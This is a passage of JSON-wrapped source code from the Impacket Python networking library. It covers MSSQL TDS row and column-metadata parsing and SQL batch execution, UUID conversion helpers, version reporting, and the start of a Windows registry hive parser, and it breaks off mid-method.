{key['Interface']} - {self.mssql_version}\"\n                    )\n\n                elif key[\"TokenType\"] == TDS_ENVCHANGE_TOKEN:\n                    if key[\"Type\"] in (\n                        TDS_ENVCHANGE_DATABASE,\n                        TDS_ENVCHANGE_LANGUAGE,\n                        TDS_ENVCHANGE_CHARSET,\n                        TDS_ENVCHANGE_PACKETSIZE,\n                    ):\n                        record = TDS_ENVCHANGE_VARCHAR(key[\"Data\"])\n                        if record[\"OldValue\"] == \"\":\n                            record[\"OldValue\"] = \"None\".encode(\"utf-16le\")\n                        elif record[\"NewValue\"] == \"\":\n                            record[\"NewValue\"] = \"None\".encode(\"utf-16le\")\n                        if key[\"Type\"] == TDS_ENVCHANGE_DATABASE:\n                            _type = \"DATABASE\"\n                        elif key[\"Type\"] == TDS_ENVCHANGE_LANGUAGE:\n                            _type = \"LANGUAGE\"\n                        elif key[\"Type\"] == TDS_ENVCHANGE_CHARSET:\n                            _type = \"CHARSET\"\n                        elif key[\"Type\"] == TDS_ENVCHANGE_PACKETSIZE:\n                            _type = \"PACKETSIZE\"\n                        else:\n                            _type = \"%d\" % key[\"Type\"]\n                        info_logger(\n                            \"ENVCHANGE(%s): Old Value: %s, New Value: %s\"\n                            % (\n                                _type,\n                                record[\"OldValue\"].decode(\"utf-16le\"),\n                                record[\"NewValue\"].decode(\"utf-16le\"),\n                            )\n                        )\n\n    def parseRow(self, token, tuplemode=False):\n        # TODO: This REALLY needs to be improved. Right now we don't support correctly all the data types\n        # help would be appreciated ;)\n        if len(token) == 1:\n            return 0\n\n        row = [] if tuplemode else {}\n\n        origDataLen = len(token[\"Data\"])\n        data = token[\"Data\"]\n        for col in self.colMeta:\n            _type = col[\"Type\"]\n            if (_type == TDS_NVARCHARTYPE) | (_type == TDS_NCHARTYPE):\n                # print \"NVAR 0x%x\" % _type\n                charLen = struct.unpack(\"<H\", data[: struct.calcsize(\"<H\")])[0]\n                data = data[struct.calcsize(\"<H\") :]\n                if charLen != 0xFFFF:\n                    value = data[:charLen].decode(\"utf-16le\")\n                    data = data[charLen:]\n                else:\n                    value = \"NULL\"\n\n            elif _type == TDS_BIGVARCHRTYPE:\n                charLen = struct.unpack(\"<H\", data[:2])[0]\n                data = data[2:]\n\n                if charLen != 0xFFFF:\n                    raw = data[:charLen]\n                    data = data[charLen:]\n\n                    # SQL Server stores VARCHAR in server codepage, not UTF-8\n                    # latin-1 is the safest reversible mapping\n                    try:\n                        value = raw.decode(\"latin-1\")\n                    except UnicodeDecodeError:\n                        value = raw.decode(\"utf-8\", errors=\"replace\")\n                else:\n                    value = \"NULL\"\n\n            elif _type == TDS_GUIDTYPE:\n                uuidLen = ord(data[0:1])\n                data = data[1:]\n                if uuidLen > 0:\n                    uu = data[:uuidLen]\n                    value = uuid.bin_to_string(uu)\n                    data = data[uuidLen:]\n                else:\n                    value = \"NULL\"\n\n            elif (_type == TDS_NTEXTTYPE) | (_type == TDS_IMAGETYPE):\n                # Skip the pointer data\n                charLen = ord(data[0:1])\n                if charLen == 0:\n                    value = \"NULL\"\n                    data = data[1:]\n                else:\n                    data = data[1 + charLen + 8 :]\n                    charLen = struct.unpack(\"<L\", data[: struct.calcsize(\"<L\")])[0]\n                    data = data[struct.calcsize(\"<L\") :]\n                    if charLen != 0xFFFF:\n                        if _type == TDS_NTEXTTYPE:\n                            value = data[:charLen].decode(\"utf-16le\")\n                        else:\n                            value = binascii.b2a_hex(data[:charLen])\n                        data = data[charLen:]\n                    else:\n                        value = \"NULL\"\n\n            elif _type == TDS_TEXTTYPE:\n                # Skip the pointer data\n                charLen = ord(data[0:1])\n                if charLen == 0:\n                    value = \"NULL\"\n                    data = data[1:]\n                else:\n                    data = data[1 + charLen + 8 :]\n                    charLen = struct.unpack(\"<L\", data[: struct.calcsize(\"<L\")])[0]\n                    data = data[struct.calcsize(\"<L\") :]\n                    if charLen != 0xFFFF:\n                        value = data[:charLen]\n                        data = data[charLen:]\n                    else:\n                        value = \"NULL\"\n\n            elif (_type == TDS_BIGVARBINTYPE) | (_type == TDS_BIGBINARYTYPE):\n                charLen = struct.unpack(\"<H\", data[: struct.calcsize(\"<H\")])[0]\n                data = data[struct.calcsize(\"<H\") :]\n                if charLen != 0xFFFF:\n                    value = binascii.b2a_hex(data[:charLen])\n                    data = data[charLen:]\n                else:\n                    value = \"NULL\"\n\n            elif (\n                (_type == TDS_DATETIM4TYPE)\n                | (_type == TDS_DATETIMNTYPE)\n                | (_type == TDS_DATETIMETYPE)\n            ):\n                value = \"\"\n                if _type == TDS_DATETIMNTYPE:\n                    # For DATETIMNTYPE, the only valid lengths are 0x04 and 0x08, which map to smalldatetime and\n                    # datetime SQL data _types respectively.\n                    if ord(data[0:1]) == 4:\n                        _type = TDS_DATETIM4TYPE\n                    elif ord(data[0:1]) == 8:\n                        _type = TDS_DATETIMETYPE\n                    else:\n                        value = \"NULL\"\n                    data = data[1:]\n                if _type == TDS_DATETIMETYPE:\n                    # datetime is represented in the following sequence:\n                    # * One 4-byte signed integer that represents the number of days since January 1, 1900. Negative\n                    #   numbers are allowed to represents dates since January 1, 1753.\n                    # * One 4-byte unsigned integer that represents the number of one three-hundredths of a second\n                    #  (300 counts per second) elapsed since 12 AM that day.\n                    dateValue = struct.unpack(\"<l\", data[:4])[0]\n                    data = data[4:]\n                    if dateValue < 0:\n                        baseDate = datetime.date(1753, 1, 1)\n                    else:\n                        baseDate = datetime.date(1900, 1, 1)\n                    timeValue = struct.unpack(\"<L\", data[:4])[0]\n                    data = data[4:]\n                elif _type == TDS_DATETIM4TYPE:\n                    # Small datetime\n                    # 2.2.5.5.1.8\n                    # Date/Times\n                    # smalldatetime is represented in the following sequence:\n                    # * One 2-byte unsigned integer that represents the number of days since January 1, 1900.\n                    # * One 2-byte unsigned integer that represents the number of minutes elapsed since 12 AM that\n                    #   day.\n                    dateValue = struct.unpack(\"<H\", data[: struct.calcsize(\"<H\")])[0]\n                    data = data[struct.calcsize(\"<H\") :]\n                    timeValue = struct.unpack(\"<H\", data[: struct.calcsize(\"<H\")])[0]\n                    data = data[struct.calcsize(\"<H\") :]\n                    baseDate = datetime.date(1900, 1, 1)\n                if value != \"NULL\":\n                    dateValue = datetime.date.fromordinal(\n                        baseDate.toordinal() + dateValue\n                    )\n                    hours, mod = divmod(timeValue // 300, 60 * 60)\n                    minutes, second = divmod(mod, 60)\n                    value = datetime.datetime(\n                        dateValue.year,\n                        dateValue.month,\n                        dateValue.day,\n                        hours,\n                        minutes,\n                        second,\n                    )\n\n            elif _type == TDS_INT4TYPE:\n                value = struct.unpack(\"<l\", data[:4])[0]\n                data = data[4:]\n\n            elif _type == TDS_FLT4TYPE:\n                value = struct.unpack(\"<f\", data[:4])[0]\n                data = data[4:]\n\n            elif _type == TDS_MONEY4TYPE:\n                raw = struct.unpack(\"<l\", data[:4])[0]\n                value = Decimal(raw) / Decimal(10000)\n                data = data[4:]\n\n            elif _type == TDS_FLTNTYPE:\n                valueSize = ord(data[:1])\n                if valueSize == 4:\n                    fmt = \"<f\"\n                elif valueSize == 8:\n                    fmt = \"<d\"\n\n                data = data[1:]\n\n                if valueSize > 0:\n                    value = struct.unpack(fmt, data[:valueSize])[0]\n                    data = data[valueSize:]\n                else:\n                    value = \"NULL\"\n\n            elif _type == TDS_MONEYNTYPE:\n                valueSize = ord(data[:1])\n                if valueSize == 4:\n                    fmt = \"<l\"\n                elif valueSize == 8:\n                    fmt = \"<q\"\n\n                data = data[1:]\n\n                if valueSize > 0:\n                    raw = struct.unpack(\n                        \"<q\" if valueSize == 8 else \"<l\", data[:valueSize]\n                    )[0]\n                    value = Decimal(raw) / Decimal(10000)\n                    data = data[valueSize:]\n                else:\n                    value = \"NULL\"\n\n            elif _type == TDS_BIGCHARTYPE:\n                # print \"BIGC\"\n                charLen = struct.unpack(\"<H\", data[: struct.calcsize(\"<H\")])[0]\n                data = data[struct.calcsize(\"<H\") :]\n                value = data[:charLen]\n                data = data[charLen:]\n\n            elif _type == TDS_INT8TYPE:\n                value = struct.unpack(\"<q\", data[:8])[0]\n                data = data[8:]\n\n            elif _type == TDS_FLT8TYPE:\n                value = struct.unpack(\"<d\", data[:8])[0]\n                data = data[8:]\n\n            elif _type == TDS_MONEYTYPE:\n                high, low = struct.unpack(\"<lL\", data[:8])\n                combined = (high << 32) + low\n                value = Decimal(combined) / Decimal(10000)\n                data = data[8:]\n\n            elif _type == TDS_INT2TYPE:\n                # print \"INT2TYPE\"\n                value = struct.unpack(\"<H\", (data[:2]))[0]\n                data = data[2:]\n\n            elif _type == TDS_DATENTYPE:\n                # date is represented as one 3-byte unsigned integer that represents the number of days since\n                # January 1, year 1.\n                valueSize = ord(data[:1])\n                data = data[1:]\n                if valueSize > 0:\n                    dateBytes = data[:valueSize]\n                    dateValue = struct.unpack(\"<L\", dateBytes + b\"\\x00\")[0]\n                    # SQL DATE is days since 0001-01-01, not Unix epoch.\n                    value = datetime.date.fromordinal(dateValue)\n                    data = data[valueSize:]\n                else:\n                    value = \"NULL\"\n\n            elif (_type == TDS_BITTYPE) | (_type == TDS_INT1TYPE):\n                # print \"BITTYPE\"\n                value = bool(data[0])\n                data = data[1:]\n\n            elif _type in (TDS_NUMERICNTYPE, TDS_DECIMALNTYPE):\n                valueLen = data[0]\n                data = data[1:]\n\n                if valueLen == 0:\n                    value = \"NULL\"\n                else:\n                    raw = data[:valueLen]\n                    data = data[valueLen:]\n\n                    precision = col[\"TypeData\"][1]\n                    scale = col[\"TypeData\"][2]\n\n                    sign = 1 if raw[0] == 1 else -1\n                    integer = int.from_bytes(raw[1:], byteorder=\"little\", signed=False)\n\n                    getcontext().prec = precision\n                    number = Decimal(integer)\n\n                    if scale:\n                        number /= Decimal(10) ** scale\n\n                    value = number if sign > 0 else -number\n\n            elif _type == TDS_BITNTYPE:\n                # print \"BITNTYPE\"\n                valueSize = ord(data[:1])\n                data = data[1:]\n                if valueSize > 0:\n                    if valueSize == 1:\n                        value = ord(data[:valueSize])\n                    else:\n                        value = data[:valueSize]\n                else:\n                    value = \"NULL\"\n                data = data[valueSize:]\n\n            elif _type == TDS_INTNTYPE:\n                valueSize = ord(data[:1])\n                if valueSize == 1:\n                    fmt = \"<B\"\n                elif valueSize == 2:\n                    fmt = \"<h\"\n                elif valueSize == 4:\n                    fmt = \"<l\"\n                elif valueSize == 8:\n                    fmt = \"<q\"\n                else:\n                    fmt = \"\"\n\n                data = data[1:]\n\n                if valueSize > 0:\n                    value = struct.unpack(fmt, data[:valueSize])[0]\n                    data = data[valueSize:]\n                else:\n                    value = \"NULL\"\n            elif _type == TDS_SSVARIANTTYPE:\n                totalLength = struct.unpack(\"<L\", data[:4])[0]\n\n                # Create variant structure with the entire variant data\n                variantData = data[: 4 + totalLength]\n                variant = TDS_SSVARIANT(variantData)\n\n                value = variant.parse()\n\n                data = data[4 + totalLength :]\n            else:\n                raise Exception(\"ParseROW: Unsupported data type: 0%x\" % _type)\n\n            if tuplemode:\n                row.append(value)\n            else:\n                row[col[\"Name\"]] = value\n\n        self.rows.append(row)\n\n        return origDataLen - len(data)\n\n    def parseColMetaData(self, token):\n        # TODO Add support for more data types!\n        count = token[\"Count\"]\n        if count == 0xFFFF:\n            return 0\n\n        self.colMeta = []\n        origDataLen = len(token[\"Data\"])\n        data = token[\"Data\"]\n        for i in range(count):\n            column = {}\n            userType = struct.unpack(\"<H\", data[: struct.calcsize(\"<H\")])[0]\n            data = data[struct.calcsize(\"<H\") :]\n            flags = struct.unpack(\"<H\", data[: struct.calcsize(\"<H\")])[0]\n            data = data[struct.calcsize(\"<H\") :]\n            colType = struct.unpack(\"<B\", data[: struct.calcsize(\"<B\")])[0]\n            data = data[struct.calcsize(\"<B\") :]\n            if (\n                (colType == TDS_BITTYPE)\n                | (colType == TDS_INT1TYPE)\n                | (colType == TDS_INT2TYPE)\n                | (colType == TDS_INT8TYPE)\n                | (colType == TDS_DATETIMETYPE)\n                | (colType == TDS_DATETIM4TYPE)\n                | (colType == TDS_FLT4TYPE)\n                | (colType == TDS_FLT8TYPE)\n                | (colType == TDS_MONEYTYPE)\n                | (colType == TDS_MONEY4TYPE)\n                | (colType == TDS_DATENTYPE)\n                | (colType == TDS_INT4TYPE)\n            ):\n                typeData = \"\"\n            elif (\n                (colType == TDS_INTNTYPE)\n                | (colType == TDS_TIMENTYPE)\n                | (colType == TDS_DATETIME2NTYPE)\n                | (colType == TDS_DATETIMEOFFSETNTYPE)\n                | (colType == TDS_FLTNTYPE)\n                | (colType == TDS_MONEYNTYPE)\n                | (colType == TDS_GUIDTYPE)\n                | (colType == TDS_BITNTYPE)\n            ):\n                typeData = ord(data[0:1])\n                data = data[1:]\n\n            elif colType == TDS_DATETIMNTYPE:\n                # For DATETIMNTYPE, the only valid lengths are 0x04 and 0x08, which map to smalldatetime and\n                # datetime SQL data types respectively.\n                typeData = ord(data[0:1])\n                data = data[1:]\n\n            elif (\n                (colType == TDS_BIGVARBINTYPE)\n                | (colType == TDS_BIGBINARYTYPE)\n                | (colType == TDS_NCHARTYPE)\n                | (colType == TDS_NVARCHARTYPE)\n                | (colType == TDS_BIGVARCHRTYPE)\n                | (colType == TDS_BIGCHARTYPE)\n            ):\n                typeData = struct.unpack(\"<H\", data[:2])[0]\n                data = data[2:]\n            elif (\n                (colType == TDS_DECIMALNTYPE)\n                | (colType == TDS_NUMERICNTYPE)\n                | (colType == TDS_DECIMALTYPE)\n            ):\n                typeData = data[:3]\n                data = data[3:]\n            elif (\n                (colType == TDS_IMAGETYPE)\n                | (colType == TDS_TEXTTYPE)\n                | (colType == TDS_XMLTYPE)\n                | (colType == TDS_SSVARIANTTYPE)\n                | (colType == TDS_NTEXTTYPE)\n            ):\n                typeData = struct.unpack(\"<L\", data[:4])[0]\n                data = data[4:]\n            else:\n                raise Exception(\"Unsupported data type: 0x%x\" % colType)\n\n            # Collation exceptions:\n            if (\n                (colType == TDS_NTEXTTYPE)\n                | (colType == TDS_BIGCHARTYPE)\n                | (colType == TDS_BIGVARCHRTYPE)\n                | (colType == TDS_NCHARTYPE)\n                | (colType == TDS_NVARCHARTYPE)\n                | (colType == TDS_TEXTTYPE)\n            ):\n                # Skip collation\n                data = data[5:]\n\n            # PartTableName exceptions:\n            if (\n                (colType == TDS_IMAGETYPE)\n                | (colType == TDS_TEXTTYPE)\n                | (colType == TDS_NTEXTTYPE)\n            ):\n                # This types have Table Elements, we just discard them for now.\n                # ToDo parse this correctly!\n                # Get the Length\n                dataLen = struct.unpack(\"<H\", data[:2])[0]\n                data = data[2:]\n                # skip the text\n                data = data[dataLen * 2 :]\n\n            colNameLength = struct.unpack(\"<B\", data[: struct.calcsize(\"<B\")])[0]\n            data = data[struct.calcsize(\"<B\") :]\n            colName = data[: colNameLength * 2].decode(\"utf-16le\")\n            data = data[colNameLength * 2 :]\n            column[\"Name\"] = colName\n            column[\"Type\"] = colType\n            column[\"TypeData\"] = typeData\n            column[\"Flags\"] = flags\n            self.colMeta.append(column)\n\n        return origDataLen - len(data)\n\n    def parseReply(self, tokens, tuplemode=False):\n        if len(tokens) == 0:\n            return False\n\n        replies = {}\n        while len(tokens) > 0:\n            tokenID = struct.unpack(\"B\", tokens[0:1])[0]\n            if tokenID == TDS_ERROR_TOKEN:\n                token = TDS_INFO_ERROR(tokens)\n                self.lastError = SQLErrorException(\n                    \"ERROR(%s): Line %d: %s\"\n                    % (\n                        token[\"ServerName\"].decode(\"utf-16le\"),\n                        token[\"LineNumber\"],\n                        token[\"MsgText\"].decode(\"utf-16le\"),\n                    )\n                )\n            elif tokenID == TDS_RETURNSTATUS_TOKEN:\n                token = TDS_RETURNSTATUS(tokens)\n            elif tokenID == TDS_INFO_TOKEN:\n                token = TDS_INFO_ERROR(tokens)\n            elif tokenID == TDS_LOGINACK_TOKEN:\n                token = TDS_LOGIN_ACK(tokens)\n            elif tokenID == TDS_ENVCHANGE_TOKEN:\n                token = TDS_ENVCHANGE(tokens)\n                if token[\"Type\"] is TDS_ENVCHANGE_PACKETSIZE:\n                    record = TDS_ENVCHANGE_VARCHAR(token[\"Data\"])\n                    self.packetSize = int(record[\"NewValue\"].decode(\"utf-16le\"))\n                elif token[\"Type\"] is TDS_ENVCHANGE_DATABASE:\n                    record = TDS_ENVCHANGE_VARCHAR(token[\"Data\"])\n                    self.currentDB = record[\"NewValue\"].decode(\"utf-16le\")\n\n            elif (tokenID == TDS_DONEINPROC_TOKEN) | (tokenID == TDS_DONEPROC_TOKEN):\n                token = TDS_DONEINPROC(tokens)\n            elif tokenID == TDS_ORDER_TOKEN:\n                token = TDS_ORDER(tokens)\n            elif tokenID == TDS_ROW_TOKEN:\n                # print \"ROW\"\n                token = TDS_ROW(tokens)\n                tokenLen = self.parseRow(token, tuplemode)\n                token[\"Data\"] = token[\"Data\"][:tokenLen]\n            elif tokenID == TDS_COLMETADATA_TOKEN:\n                # print \"COLMETA\"\n                token = TDS_COLMETADATA(tokens)\n                tokenLen = self.parseColMetaData(token)\n                token[\"Data\"] = token[\"Data\"][:tokenLen]\n            elif tokenID == TDS_DONE_TOKEN:\n                token = TDS_DONE(tokens)\n            else:\n                LOG.error(\"Unknown Token %x\" % tokenID)\n                return replies\n\n            if (tokenID in replies) is not True:\n                replies[tokenID] = list()\n\n            replies[tokenID].append(token)\n            tokens = tokens[len(token) :]\n            # print \"TYPE 0x%x, LEN: %d\" %(tokenID, len(token))\n            # print repr(tokens[:10])\n\n        return replies\n\n    def batch(self, cmd, tuplemode=False, wait=True):\n        # First of all we clear the rows, colMeta and lastError\n        self.rows = []\n        self.colMeta = []\n        self.lastError = False\n        self.sendTDS(TDS_SQL_BATCH, (cmd + \"\\r\\n\").encode(\"utf-16le\"))\n        if wait:\n            tds = self.recvTDS()\n            self.replies = self.parseReply(tds[\"Data\"], tuplemode)\n            return self.rows\n        else:\n            return True\n\n    def batchStatement(self, cmd, tuplemode=False):\n        # First of all we clear the rows, colMeta and lastError\n        self.rows = []\n        self.colMeta = []\n        self.lastError = False\n        self.sendTDS(TDS_SQL_BATCH, (cmd + \"\\r\\n\").encode(\"utf-16le\"))\n        # self.recvTDS()\n\n    # Handy alias\n    sql_query = batch\n\n    def changeDB(self, db):\n        if db != self.currentDB:\n            chdb = \"use %s\" % db\n            self.batch(chdb)\n            self.printReplies()\n\n    def RunSQLQuery(self, db, sql_query, tuplemode=False, wait=True, **kwArgs):\n        db = db or \"master\"\n        self.changeDB(db)\n        self.printReplies()\n        ret = self.batch(sql_query, tuplemode, wait)\n        if wait:\n            self.printReplies()\n        if self.lastError:\n            raise self.lastError\n        if self.lastError:\n            raise self.lastError\n        return ret\n\n    def RunSQLStatement(self, db, sql_query, wait=True, **kwArgs):\n        self.RunSQLQuery(db, sql_query, wait=wait)\n        if self.lastError:\n            raise self.lastError\n        return True\n\n    # Properties\n    @property\n    def workstation_id(self):\n        return self._workstation_id\n\n    @property\n    def application_name(self):\n        return self._application_name\n"
  },
  {
    "path": "impacket/uuid.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Generate UUID compliant with http://www.webdav.org/specs/draft-leach-uuids-guids-01.txt.\n#   A different, much simpler (not necessarily better) algorithm is used.\n#\n# Author:\n#   Javier Kohen (jkohen)\n#\n\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nimport re\nimport binascii\n\nfrom random import randrange\nfrom struct import pack, unpack\n\nEMPTY_UUID = b'\\x00'*16\n\n\ndef generate():\n    # UHm... crappy Python has an maximum integer of 2**31-1.\n    top = (1<<31)-1\n    return pack(\"IIII\", randrange(top), randrange(top), randrange(top), randrange(top))\n\n\ndef bin_to_string(uuid):\n    uuid1, uuid2, uuid3 = unpack('<LHH', uuid[:8])\n    uuid4, uuid5, uuid6 = unpack('>HHL', uuid[8:16])\n    return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6)\n\n\ndef string_to_bin(uuid):\n    # If a UUID in the 00000000000000000000000000000000 format, let's return bytes as is\n    if '-' not in uuid:\n        return binascii.unhexlify(uuid)\n\n    # If a UUID in the 00000000-0000-0000-0000-000000000000 format, parse it as Variant 2 UUID\n    # The first three components of the UUID are little-endian, and the last two are big-endian\n    matches = re.match(r\"([\\dA-Fa-f]{8})-([\\dA-Fa-f]{4})-([\\dA-Fa-f]{4})-([\\dA-Fa-f]{4})-([\\dA-Fa-f]{4})([\\dA-Fa-f]{8})\",\n                       uuid)\n    (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()]\n    uuid = pack('<LHH', uuid1, uuid2, uuid3)\n    uuid += pack('>HHL', uuid4, uuid5, uuid6)\n    return uuid\n\n\ndef stringver_to_bin(s):\n    (maj, min) = s.split('.')\n    return pack('<H', int(maj)) + pack('<H', int(min))\n\n\ndef uuidtup_to_bin(tup):\n    if len(tup) != 2:\n        return\n    return string_to_bin(tup[0]) + stringver_to_bin(tup[1])\n\n\ndef bin_to_uuidtup(bin):\n    assert len(bin) == 20\n    uuidstr = bin_to_string(bin[:16])\n    maj, min = unpack(\"<HH\", bin[16:])\n    return uuidstr, \"%d.%d\" % (maj, min)\n\n\ndef string_to_uuidtup(s):\n    \"\"\"\n    if version is not found in the input string \"1.0\"  is returned\n    example:\n              \"00000000-0000-0000-0000-000000000000 3.0\" returns ('00000000-0000-0000-0000-000000000000','3.0')\n              \"10000000-2000-3000-4000-500000000000 version 3.0\" returns ('00000000-0000-0000-0000-000000000000','3.0')\n              \"10000000-2000-3000-4000-500000000000 v 3.0\" returns ('00000000-0000-0000-0000-000000000000','3.0')\n              \"10000000-2000-3000-4000-500000000000\" returns ('00000000-0000-0000-0000-000000000000','1.0')\n\n    :param s: string\n    :return: tuple (uuid,version)\n    \"\"\"\n    g = re.search(r\"([A-Fa-f0-9]{8}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{12}).*?([0-9]{1,5}\\.[0-9]{1,5})\",\n                  s + \" 1.0\")\n    if g: \n        (u, v) = g.groups()\n        return u, v\n    return\n\n\ndef uuidtup_to_string(tup):\n    uuid, (maj, min) = tup\n    return \"%s v%d.%d\" % (uuid, maj, min)\n"
  },
  {
    "path": "impacket/version.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n\nfrom importlib.metadata import version as get_version, PackageNotFoundError\nfrom impacket import __path__\n\n\ntry:\n    version = get_version('impacket')\nexcept PackageNotFoundError:\n    version = \"?\"\n    print(\"Cannot determine Impacket version. \"\n          \"If running from source you should at least run \\\"python setup.py egg_info\\\"\")\nBANNER = \"Impacket v{} - Copyright Fortra, LLC and its affiliated companies \\n\".format(version)\nDEPRECATION_WARNING_BANNER = \"\".join((\"===============================================================================\\n\",\n                          \"  Warning: This functionality will be deprecated in the next Impacket version  \\n\", \n                          \"===============================================================================\\n\"))\n\ndef getInstallationPath():\n    return 'Impacket Library Installation Path: {}'.format(__path__[0])\n"
  },
  {
    "path": "impacket/winregistry.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   A Windows Registry Library Parser\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# Reference:\n#   Data taken from https://bazaar.launchpad.net/~guadalinex-members/dumphive/trunk/view/head:/winreg.txt\n#   http://sentinelchicken.com/data/TheWindowsNTRegistryFileFormat.pdf\n#\n# ToDo:\n#   [ ] Parse li records, probable the same as the ri but couldn't find any to probe\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport sys\nimport re\nfrom binascii import unhexlify\nfrom struct import unpack\nimport ntpath\nfrom six import b\nfrom abc import ABC, abstractmethod\n\nfrom impacket import LOG\nfrom impacket.structure import Structure, hexdump\n\n\n# Constants\n\nROOT_KEY        = 0x2c\nREG_NONE        = 0x00\nREG_SZ          = 0x01\nREG_EXPAND_SZ   = 0x02\nREG_BINARY      = 0x03\nREG_DWORD       = 0x04\nREG_MULTISZ     = 0x07\nREG_QWORD       = 0x0b\n\n# Structs\nclass REG_REGF(Structure):\n    structure = (\n        ('Magic','\"regf'),\n        ('Unknown','<L=0'),\n        ('Unknown2','<L=0'),\n        ('lastChange','<Q=0'),\n        ('MajorVersion','<L=0'),\n        ('MinorVersion','<L=0'),\n        ('0','<L=0'),\n        ('11','<L=0'),\n        ('OffsetFirstRecord','<L=0'),\n        ('DataSize','<L=0'),\n        ('1111','<L=0'),\n        ('Name','48s=\"\"'),\n        ('Remaining1','411s=b\"\"'),\n        ('CheckSum','<L=0xffffffff'), # Sum of all DWORDs from 0x0 to 0x1FB\n        ('Remaining2','3585s=b\"\"'),\n    )\n\nclass REG_HBIN(Structure):\n    structure = (\n        ('Magic','\"hbin'),\n        ('OffsetFirstHBin','<L=0'),\n        ('OffsetNextHBin','<L=0'),\n        ('BlockSize','<L=0'),\n    )\n\nclass REG_HBINBLOCK(Structure):\n    structure = (\n        ('DataBlockSize','<l=0'),\n        ('_Data','_-Data','self[\"DataBlockSize\"]*(-1)-4'),\n        ('Data',':'),\n    )\n\nclass REG_NK(Structure):\n    structure = (\n        ('Magic','\"nk'),\n        ('Type','<H=0'),\n        ('lastChange','<Q=0'),\n        ('Unknown','<L=0'),\n        ('OffsetParent','<l=0'),\n        ('NumSubKeys','<L=0'),\n        ('Unknown2','<L=0'),\n        ('OffsetSubKeyLf','<l=0'),\n        ('Unknown3','<L=0'),\n        ('NumValues','<L=0'),\n        ('OffsetValueList','<l=0'),\n        ('OffsetSkRecord','<l=0'),\n        ('OffsetClassName','<l=0'),\n        ('UnUsed','20s=b\"\"'),\n        ('NameLength','<H=0'),\n        ('ClassNameLength','<H=0'),\n        ('_KeyName','_-KeyName','self[\"NameLength\"]'),\n        ('KeyName',':'),\n    )\n\nclass REG_VK(Structure):\n    structure = (\n        ('Magic','\"vk'),\n        ('NameLength','<H=0'),\n        ('DataLen','<l=0'),\n        ('OffsetData','<L=0'),\n        ('ValueType','<L=0'),\n        ('Flag','<H=0'),\n        ('UnUsed','<H=0'),\n        ('_Name','_-Name','self[\"NameLength\"]'),\n        ('Name',':'),\n    )\n\nclass REG_LF(Structure):\n    structure = (\n        ('Magic','\"lf'),\n        ('NumKeys','<H=0'),\n        ('HashRecords',':'),\n    )\n\nclass REG_LH(Structure):\n    structure = (\n        ('Magic','\"lh'),\n        ('NumKeys','<H=0'),\n        ('HashRecords',':'),\n    )\n\nclass REG_RI(Structure):\n    structure = (\n        ('Magic','\"ri'),\n        ('NumKeys','<H=0'),\n        ('HashRecords',':'),\n    )\n\nclass REG_SK(Structure):\n    structure = (\n        ('Magic','\"sk'),\n        ('UnUsed','<H=0'),\n        ('OffsetPreviousSk','<l=0'),\n        ('OffsetNextSk','<l=0'),\n        ('UsageCounter','<L=0'),\n        ('SizeSk','<L=0'),\n        ('Data',':'),\n    )\n\nclass REG_HASH(Structure):\n    structure = (\n        ('OffsetNk','<L=0'),\n        ('KeyName','4s=b\"\"'),\n    )\n\nStructMappings = {b'nk': REG_NK,\n                  b'vk': REG_VK,\n                  b'lf': REG_LF,\n                  b'lh': REG_LH,\n                  b'ri': REG_RI,\n                  b'sk': REG_SK,\n                 }\n\nclass Registry(ABC):\n    def close(self):\n        if hasattr(self, 'fd'):\n            self.fd.close()\n\n    def __del__(self):\n        self.close()\n\n    @abstractmethod\n    def walk(self, parentKey):\n        pass\n\n    @abstractmethod\n    def findKey(self, key):\n        pass\n\n    @abstractmethod\n    def printValue(self, valueType, valueData):\n        pass\n\n    @abstractmethod\n    def enumKey(self, parentKey):\n        pass\n\n    @abstractmethod\n    def enumValues(self, key):\n        pass\n\n    @abstractmethod\n    def getValue(self, keyValue, valueName=None):\n        pass\n\n    @abstractmethod\n    def getClass(self, className):\n        pass\n\nclass saveRegistryParser(Registry):\n    def __init__(self, hive, isRemote = False):\n        self.__hive = hive\n        if isRemote is True:\n            self.fd = self.__hive\n            self.__hive.open()\n        else:\n            self.fd = open(hive,'r+b')\n        data = self.fd.read(4096)\n        self.__regf = REG_REGF(data)\n        self.indent = ''\n        self.rootKey = self.__findRootKey()\n        if self.rootKey is None:\n            LOG.error(\"Can't find root key!\")\n        elif self.__regf['MajorVersion'] != 1 and self.__regf['MinorVersion'] > 5:\n            LOG.warning(\"Unsupported version (%d.%d) - things might not work!\" % (self.__regf['MajorVersion'], self.__regf['MinorVersion']))\n\n    def __findRootKey(self):\n        self.fd.seek(0,0)\n        data = self.fd.read(4096)\n        while len(data) > 0:\n            try:\n                hbin = REG_HBIN(data[:0x20])\n                # Read the remaining bytes for this hbin\n                data += self.fd.read(hbin['OffsetNextHBin']-4096)\n                data = data[0x20:]\n                blocks = self.__processDataBlocks(data)\n                for block in blocks:\n                    if isinstance(block, REG_NK):\n                        if block['Type'] == ROOT_KEY:\n                            return block\n            except Exception as e:\n                pass\n            data = self.fd.read(4096)\n\n        return None\n\n\n    def __getBlock(self, offset):\n        self.fd.seek(4096+offset,0)\n        sizeBytes = self.fd.read(4)\n        data = sizeBytes + self.fd.read(unpack('<l',sizeBytes)[0]*-1-4)\n        if len(data) == 0:\n            return None\n        else:\n            block = REG_HBINBLOCK(data)\n            if block['Data'][:2] in StructMappings:\n                return 